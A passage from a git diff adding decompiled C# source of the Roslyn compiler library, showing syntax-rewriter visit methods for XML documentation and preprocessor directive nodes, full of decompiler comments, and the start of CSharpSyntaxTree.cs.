(SyntaxNode?)(object)node.Update(VisitList(node.Tokens)); + } + + public override SyntaxNode? VisitDocumentationCommentTrivia(DocumentationCommentTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.Content), VisitToken(node.EndOfComment)); + } + + public override SyntaxNode? VisitTypeCref(TypeCrefSyntax node) + { + return (SyntaxNode?)(object)node.Update(((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type")); + } + + public override SyntaxNode? VisitQualifiedCref(QualifiedCrefSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Container)) ?? throw new ArgumentNullException("container"), VisitToken(node.DotToken), ((MemberCrefSyntax)(object)Visit((SyntaxNode?)(object)node.Member)) ?? throw new ArgumentNullException("member")); + } + + public override SyntaxNode? VisitNameMemberCref(NameMemberCrefSyntax node) + { + return (SyntaxNode?)(object)node.Update(((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name"), (CrefParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.Parameters)); + } + + public override SyntaxNode? VisitIndexerMemberCref(IndexerMemberCrefSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.ThisKeyword), (CrefBracketedParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.Parameters)); + } + + public override SyntaxNode? VisitOperatorMemberCref(OperatorMemberCrefSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OperatorKeyword), VisitToken(node.CheckedKeyword), VisitToken(node.OperatorToken), (CrefParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.Parameters)); + } + + public override SyntaxNode? VisitConversionOperatorMemberCref(ConversionOperatorMemberCrefSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.ImplicitOrExplicitKeyword), VisitToken(node.OperatorKeyword), VisitToken(node.CheckedKeyword), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), (CrefParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.Parameters)); + } + + public override SyntaxNode? VisitCrefParameterList(CrefParameterListSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenParenToken), VisitList(node.Parameters), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitCrefBracketedParameterList(CrefBracketedParameterListSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenBracketToken), VisitList(node.Parameters), VisitToken(node.CloseBracketToken)); + } + + public override SyntaxNode? VisitCrefParameter(CrefParameterSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.RefKindKeyword), VisitToken(node.ReadOnlyKeyword), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type")); + } + + public override SyntaxNode? VisitXmlElement(XmlElementSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((XmlElementStartTagSyntax)(object)Visit((SyntaxNode?)(object)node.StartTag)) ?? throw new ArgumentNullException("startTag"), VisitList(node.Content), ((XmlElementEndTagSyntax)(object)Visit((SyntaxNode?)(object)node.EndTag)) ?? throw new ArgumentNullException("endTag")); + } + + public override SyntaxNode? VisitXmlElementStartTag(XmlElementStartTagSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.LessThanToken), ((XmlNameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name"), VisitList(node.Attributes), VisitToken(node.GreaterThanToken)); + } + + public override SyntaxNode? VisitXmlElementEndTag(XmlElementEndTagSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.LessThanSlashToken), ((XmlNameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name"), VisitToken(node.GreaterThanToken)); + } + + public override SyntaxNode? VisitXmlEmptyElement(XmlEmptyElementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.LessThanToken), ((XmlNameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name"), VisitList(node.Attributes), VisitToken(node.SlashGreaterThanToken)); + } + + public override SyntaxNode? VisitXmlName(XmlNameSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update((XmlPrefixSyntax)(object)Visit((SyntaxNode?)(object)node.Prefix), VisitToken(node.LocalName)); + } + + public override SyntaxNode? VisitXmlPrefix(XmlPrefixSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Prefix), VisitToken(node.ColonToken)); + } + + public override SyntaxNode? VisitXmlTextAttribute(XmlTextAttributeSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((XmlNameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name"), VisitToken(node.EqualsToken), VisitToken(node.StartQuoteToken), VisitList(node.TextTokens), VisitToken(node.EndQuoteToken)); + } + + public override SyntaxNode? VisitXmlCrefAttribute(XmlCrefAttributeSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((XmlNameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name"), VisitToken(node.EqualsToken), VisitToken(node.StartQuoteToken), ((CrefSyntax)(object)Visit((SyntaxNode?)(object)node.Cref)) ?? throw new ArgumentNullException("cref"), VisitToken(node.EndQuoteToken)); + } + + public override SyntaxNode? VisitXmlNameAttribute(XmlNameAttributeSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((XmlNameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name"), VisitToken(node.EqualsToken), VisitToken(node.StartQuoteToken), ((IdentifierNameSyntax)(object)Visit((SyntaxNode?)(object)node.Identifier)) ?? throw new ArgumentNullException("identifier"), VisitToken(node.EndQuoteToken)); + } + + public override SyntaxNode? VisitXmlText(XmlTextSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.TextTokens)); + } + + public override SyntaxNode? VisitXmlCDataSection(XmlCDataSectionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.StartCDataToken), VisitList(node.TextTokens), VisitToken(node.EndCDataToken)); + } + + public override SyntaxNode? VisitXmlProcessingInstruction(XmlProcessingInstructionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.StartProcessingInstructionToken), ((XmlNameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name"), VisitList(node.TextTokens), VisitToken(node.EndProcessingInstructionToken)); + } + + public override SyntaxNode? VisitXmlComment(XmlCommentSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.LessThanExclamationMinusMinusToken), VisitList(node.TextTokens), VisitToken(node.MinusMinusGreaterThanToken)); + } + + public override SyntaxNode? VisitIfDirectiveTrivia(IfDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.IfKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Condition)) ?? throw new ArgumentNullException("condition"), VisitToken(node.EndOfDirectiveToken), node.IsActive, node.BranchTaken, node.ConditionValue); + } + + public override SyntaxNode? VisitElifDirectiveTrivia(ElifDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.ElifKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Condition)) ?? throw new ArgumentNullException("condition"), VisitToken(node.EndOfDirectiveToken), node.IsActive, node.BranchTaken, node.ConditionValue); + } + + public override SyntaxNode? VisitElseDirectiveTrivia(ElseDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.ElseKeyword), VisitToken(node.EndOfDirectiveToken), node.IsActive, node.BranchTaken); + } + + public override SyntaxNode? VisitEndIfDirectiveTrivia(EndIfDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.EndIfKeyword), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } + + public override SyntaxNode? VisitRegionDirectiveTrivia(RegionDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.RegionKeyword), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } + + public override SyntaxNode? VisitEndRegionDirectiveTrivia(EndRegionDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.EndRegionKeyword), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } + + public override SyntaxNode? VisitErrorDirectiveTrivia(ErrorDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.ErrorKeyword), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } + + public override SyntaxNode? VisitWarningDirectiveTrivia(WarningDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.WarningKeyword), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } + + public override SyntaxNode? VisitBadDirectiveTrivia(BadDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.Identifier), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } + + public override SyntaxNode? VisitDefineDirectiveTrivia(DefineDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.DefineKeyword), VisitToken(node.Name), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } + + public override SyntaxNode? VisitUndefDirectiveTrivia(UndefDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.UndefKeyword), VisitToken(node.Name), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } + + public override SyntaxNode? VisitLineDirectiveTrivia(LineDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.LineKeyword), VisitToken(node.Line), VisitToken(node.File), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } + + public override SyntaxNode? VisitLineDirectivePosition(LineDirectivePositionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenParenToken), VisitToken(node.Line), VisitToken(node.CommaToken), VisitToken(node.Character), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitLineSpanDirectiveTrivia(LineSpanDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.LineKeyword), ((LineDirectivePositionSyntax)(object)Visit((SyntaxNode?)(object)node.Start)) ?? throw new ArgumentNullException("start"), VisitToken(node.MinusToken), ((LineDirectivePositionSyntax)(object)Visit((SyntaxNode?)(object)node.End)) ?? throw new ArgumentNullException("end"), VisitToken(node.CharacterOffset), VisitToken(node.File), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } + + public override SyntaxNode? VisitPragmaWarningDirectiveTrivia(PragmaWarningDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.PragmaKeyword), VisitToken(node.WarningKeyword), VisitToken(node.DisableOrRestoreKeyword), VisitList(node.ErrorCodes), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } + + public override SyntaxNode? VisitPragmaChecksumDirectiveTrivia(PragmaChecksumDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.PragmaKeyword), VisitToken(node.ChecksumKeyword), VisitToken(node.File), VisitToken(node.Guid), VisitToken(node.Bytes), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } + + public override SyntaxNode? VisitReferenceDirectiveTrivia(ReferenceDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.ReferenceKeyword), VisitToken(node.File), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } + + public override SyntaxNode? VisitLoadDirectiveTrivia(LoadDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.LoadKeyword), VisitToken(node.File), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } + + public override SyntaxNode? VisitShebangDirectiveTrivia(ShebangDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.ExclamationToken), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } + + public override SyntaxNode? VisitNullableDirectiveTrivia(NullableDirectiveTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.HashToken), VisitToken(node.NullableKeyword), VisitToken(node.SettingToken), VisitToken(node.TargetToken), VisitToken(node.EndOfDirectiveToken), node.IsActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxTree.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxTree.cs new file mode 100644 index 0000000..2c0dcae --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxTree.cs @@ -0,0 +1,927 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.ComponentModel; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Syntax; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +public abstract class CSharpSyntaxTree : SyntaxTree +{ + private sealed class DebuggerSyntaxTree : ParsedSyntaxTree + { + internal override bool SupportsLocations => true; + + public DebuggerSyntaxTree(CSharpSyntaxNode root, SourceText text, CSharpParseOptions options) + : base(text, text.Encoding, text.ChecksumAlgorithm, "", options, root, DirectiveStack.Empty, null, cloneRoot: true) + { + }//IL_0009: Unknown result type (might be due to invalid IL or missing references) + + } + + internal sealed class DummySyntaxTree : CSharpSyntaxTree + { + private const SourceHashAlgorithm ChecksumAlgorithm = (SourceHashAlgorithm)1; + + private readonly Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax _node; + + public override Encoding Encoding => System.Text.Encoding.UTF8; + + public override int Length => 0; + + public override CSharpParseOptions Options => CSharpParseOptions.Default; + + [Obsolete("Obsolete due to performance problems, use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + public override 